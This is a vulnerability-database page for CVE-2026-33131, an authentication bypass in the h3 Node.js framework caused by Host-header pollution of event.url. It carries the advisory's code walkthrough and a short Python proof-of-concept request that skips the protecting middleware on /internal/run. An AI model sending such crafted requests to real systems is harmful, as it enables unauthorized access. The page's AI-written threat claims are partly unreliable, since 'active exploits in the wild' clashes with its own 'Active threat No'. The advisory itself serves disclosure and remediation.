Skip to main content

CVE-2026-33131

HIGH
Authentication Bypass by Spoofing (CWE-290)
2026-03-18 https://github.com/h3js/h3 GHSA-3vj8-jmxq-cgj5
7.4
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious Host header with internal domain
  2. Exploit
    Bypass hostname validation in logger middleware
  3. Execution
    Access protected /internal/run endpoint
  4. Impact
    Execute unauthorized internal operations

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Anti-spoofing controls
MITRE ATT&CK

1 technique across 1 tactic: Defense Evasion

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Remote attacker must craft a request with a specially crafted NodeRequestUrl that bypasses the internalOnly middleware check by exploiting URL parsing inconsistencies in H3 framework. No authentication required. Victim system must be running vulnerable H3 application with the internal endpoint exposed.

Impact

This vulnerability presents significant real-world risk with a CVSS score of 7.4 (High severity, AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N). The network attack vector requires no privileges or user interaction, though attack complexity is high due to specific code patterns needed to trigger the vulnerability (logging or accessing event.url properties). A public proof-of-concept demonstrates successful exploitation, significantly lowering the barrier for attackers. The impact is severe as it bypasses authentication middleware protecting sensitive internal endpoints. While EPSS and KEV status data are not provided, the combination of public POC, authentication bypass capability, and widespread use of h3 in Node.js applications makes this a priority for remediation. The attack complexity rating suggests exploitation requires some understanding of the framework's internals, but the POC eliminates much of that barrier.

Exploit ScenarioDerived

An attacker targets an h3 application with authentication middleware protecting /internal/run endpoints. By sending a request to /internal/run with a crafted Host header like 'localhost:3000/abchehe?', the attacker causes the route handler to match /internal/run but middleware path matching to evaluate against /abchehe due to the polluted event.url. The authentication middleware fails to apply, granting the attacker unauthorized access to protected internal functionality. The provided Python POC demonstrates this bypass working reliably against vulnerable h3 deployments.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 18, 2026

A Host header manipulation vulnerability in the h3 Node.js web framework allows attackers to bypass authentication middleware by polluting the event.url object. The vulnerability affects h3 npm package and allows unauthorized access to protected routes by crafting malicious Host headers that trigger internal URL reconstruction logic. A working proof-of-concept exploit is publicly available demonstrating the authentication bypass.

RemediationAI

Upgrade to the patched version of h3 as specified in the GitHub Security Advisory at https://github.com/h3js/h3/security/advisories/GHSA-3vj8-jmxq-cgj5. Until patching is possible, avoid accessing event.url, event.url.hostname, or any properties that trigger the _url() getter in middleware or logging code. Implement Host header validation at the reverse proxy or load balancer level to reject requests with malformed Host headers containing path characters. Additionally, review all authentication middleware to ensure it operates on trusted request properties rather than client-controllable headers, and consider implementing defense-in-depth controls such as IP allowlisting for internal endpoints.

Affected Packages

npm h3 fix: 2.0.1-rc.15

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in h3's FastURL and NodeRequestUrl implementation (pkg:npm/h3). When code accesses event.url properties like hostname or attempts to serialize the URL object, it triggers the _url() getter method which reconstructs the URL from untrusted HTTP headers. The href getter builds the URL string using this.#protocol, this.#host, this.#pathname, and this.#search without proper validation. Since route handlers are resolved before middleware execution but middleware path matching uses the polluted event.url, attackers can manipulate the Host header to cause middleware to evaluate against a different path than the actual route being handled. This represents CWE-290 (Authentication Bypass by Spoofing) where improper input validation of HTTP headers leads to security control bypass.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.4 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Mar 18, 2026 - 16:18 nvd
HIGH 7.4

DescriptionGitHub Advisory

H3 NodeRequestUrl bugs

Vulnerable pieces of code :

js
import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()

const internalOnly = defineHandler((event, next) => {
  const token = event.headers.get("x-internal-key");

  if (token !== "SUPERRANDOMCANNOTBELEAKED") {
    return new Response("Forbidden", { status: 403 });
  }

  return next();
});
const logger = defineHandler((event, next) => {
    console.log("Logging : " +  event.url.hostname)
    return next()
})
app.use(logger);
app.use("/internal/run", internalOnly);


app.get("/internal/run", () => {
  return "Internal OK";
});

serve(app, { port: 3001 });

The middleware is super safe now with just a logger and a middleware to block internal access. But there's one problems here at the logger . When it log out the `event.url` or `event.url.hostname` or `event.url._url`

It will lead to trigger one specials method

js
// _url.mjs FastURL
get _url() {
    if (this.#url) return this.#url;
    this.#url = new NativeURL(this.href);
    this.#href = void 0;
    this.#protocol = void 0;
    this.#host = void 0;
    this.#pathname = void 0;
    this.#search = void 0;
    this.#searchParams = void 0;
    this.#pos = void 0;
    return this.#url;
}

The NodeRequestUrl is extends from FastURL so when we just access `.url` or trying to dump all data of this class . This function will be triggered !!

And as debugging , the this.#url is null and will reach to this code :

js
 this.#url = new NativeURL(this.href);

Where is the this.href comes from ?

js
get href() {
    if (this.#url) return this.#url.href;
    if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
    return this.#href;
}

Because the this.#url is still null so this.#href is built up by :

js
if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;

Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .

Middleware bypass

What can be done with overwriting the event.url? Audit the code we can easily realize that the routeHanlder is found before running any middlewares

js
handler(event) {
    const route = this["~findRoute"](event);
    if (route) {
        event.context.params = route.params;
        event.context.matchedRoute = route.data;
    }
    const routeHandler = route?.data.handler || NoHandler;
    const middleware = this["~getMiddleware"](event, route);
    return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}

So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS

We have this poc :

py
import requests
url = "http://localhost:3000"
headers = {
    "Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)

This is really dangerous if some one just try to dump all the event.url or something that trigger _url() from class FastURL and need a fix immediately.

Executive ViewAI

Why It Matters

A critical authentication bypass vulnerability in the h3 Node.js framework allows attackers to gain unauthorized access to protected applications by manipulating HTTP Host headers. Any organization running h3-based services is immediately at risk of unauthorized access, data breaches, and system compromise, with active exploits already in the wild.

Business Impact: Severe
Compensating Controls

Implement WAF rules to validate and sanitize Host headers before reaching the application; deploy network segmentation to restrict h3 service access to trusted sources only; implement strict input validation at the reverse proxy/load balancer level; consider disabling affected h3 services pending patch availability; deploy enhanced authentication mechanisms (MFA) as defense-in-depth; monitor for suspicious Host header patterns in logs.

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

37
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +37
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Affected Products (CPE)GitHub Advisory

pkg:npm/h3

Related Vulnerabilities in h3 HTTP Framework Security Flaws

View all 2

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy